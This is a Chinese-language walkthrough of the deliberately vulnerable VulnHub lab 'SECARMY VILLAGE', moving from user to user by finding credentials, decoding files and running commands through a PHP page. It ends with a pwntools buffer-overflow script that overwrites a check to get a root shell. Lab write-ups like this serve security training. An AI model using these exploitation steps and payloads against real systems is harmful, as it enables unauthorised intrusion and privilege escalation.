SECARMY VILLAGE: GRAYHAT CONFERENCE vulnhub walkthrough靶机
arp-scan -l 扫描靶机IP地址
nmap -sV -Pn -A x.x.x.252 扫描开放端口
打开80端口,并没有什么有用的信息
进行扫描目录
查看anon目录下的源码,发现用户名和密码
进行登录
发现flag1
这里给了提示文件readme.txt
,得到第二个用户密码
用户名为dos,利用上述密码切换到该用户后得到提示文件readme.txt
在files目录中找到相应文件,又把我们带到file3131.txt,
在file3131.txt
文件最后有这样一串字符
BASE64解密第一行,发现头两个字符是PK,于是联想到这是一个zip文件,于是这里写了个简单脚本将它重写为一个为1.zip。
#!/usr/bin/python3
import base64
codes = '''UEsDBBQDAAAAADOiO1EAAAAAAAAAAAAAAAALAAAAY2hhbGxlbmdlMi9QSwMEFAMAAAgAFZI2Udrg
tPY+AAAAQQAAABQAAABjaGFsbGVuZ2UyL2ZsYWcyLnR4dHPOz0svSiwpzUksyczPK1bk4vJILUpV
L1aozC8tUihOTc7PS1FIy0lMB7LTc1PzSqzAPKNqMyOTRCPDWi4AUEsDBBQDAAAIADOiO1Eoztrt
dAAAAIEAAAATAAAAY2hhbGxlbmdlMi90b2RvLnR4dA3KOQ7CMBQFwJ5T/I4u8hrbdCk4AUjUXp4x
IsLIS8HtSTPVbPsodT4LvUanUYff6bHd7lcKcyzLQgUN506/Ohv1+cUhYsM47hufC0WL1WdIG4WH
80xYiZiDAg8mcpZNciu0itLBCJMYtOY6eKG8SjzzcPoDUEsBAj8DFAMAAAAAM6I7UQAAAAAAAAAA
AAAAAAsAJAAAAAAAAAAQgO1BAAAAAGNoYWxsZW5nZTIvCgAgAAAAAAABABgAgMoyJN2U1gGA6WpN
3pDWAYDKMiTdlNYBUEsBAj8DFAMAAAgAFZI2UdrgtPY+AAAAQQAAABQAJAAAAAAAAAAggKSBKQAA
AGNoYWxsZW5nZTIvZmxhZzIudHh0CgAgAAAAAAABABgAAOXQa96Q1gEA5dBr3pDWAQDl0GvekNYB
UEsBAj8DFAMAAAgAM6I7USjO2u10AAAAgQAAABMAJAAAAAAAAAAggKSBmQAAAGNoYWxsZW5nZTIv
dG9kby50eHQKACAAAAAAAAEAGACAyjIk3ZTWAYDKMiTdlNYBgMoyJN2U1gFQSwUGAAAAAAMAAwAo
AQAAPgEAAAAA'''
with open('1.zip', 'wb') as f:
for code in codes.split('\n'):
f.write(base64.b64decode(code))
获得flag
直接nc本地1337端口,输入该token,获取到第三个用户密码。
查看flag
按照提示,字符串查看secarmy-village
发现该程序被upx加壳,先脱壳,再字符串查看找到用户cuatro
密码,成功获取
查看flag
按照提示,在目录/var/www/html/justanothergallery/qr
中找到一堆二维码,很明显,信息就在这些二维码中,写了一个小脚本,用的是pyzbar[1],得到了用户cinco
的密码,得到了flag5。
#!/usr/bin/python3
import pyzbar.pyzbar as pyzbar
from PIL import Image
for number in range(0,68):
fileName = 'qr/image-{}.png'.format(number)
img = Image.open(fileName)
barcodes = pyzbar.decode(img)
for barcode in barcodes:
barcodeData = barcode.data.decode('utf-8')
print(barcodeData)
查看flag
查看提示,查找cinco所有的文件,找到密码文件,按照hint提示破解得到用户seis
密码,成功得到flag6。
进入提示目录
发现readme9213.txt
需要www-data
才能查看,继续查看aabbzzee.php
利用该php执行命令成功读取txt文档信息,获取到用户siete
密码6u1l3rm0p3n473
赋予查看的权限
查看文件
从提示上看,base10和base256进行and怎么能还是base256了?256在16进制中表示为00,那么只能是xor操作了,于是这里将key与数组异或得到password.zip
的解压密码secarmyxoritup
那么就异或吧
得到下一个用户ocho
的密码m0d3570v1ll454n4
,得到flag8。
用wireshark
分析keyboard.pcapng
,找到关键数据包
导成txt短文,找到了关键字符mjwfr?2b6j3a5fx/
,结合短文含义,使用Keyboard Shift Decoder[2]进行解码,得到用户nueve
的密码355u4z4rc0
,从而得到flag9
https://www.dcode.fr/keyboard-shift-cipher
反编译用户目录下程序orangutan
。
可以看到可以通过gets修改local_10为0xcafebabe来实现获取root shell,具体如下:
- 远程启动orangutan
- 靶机输入socat TCP-LISTEN:8000 EXEC:./orangutan
- 本地pwn
- 创建test.py文件
- from pwn import *
offset = b"A" * 24
secret= b"\xbe\xba\xfe\xca"
payload = offset + secret
io = remote('x.x.x.252', 8000)
print(io.recvline())
print(io.recvline())
io.sendline(payload)
io.interactive()
查看最终的flag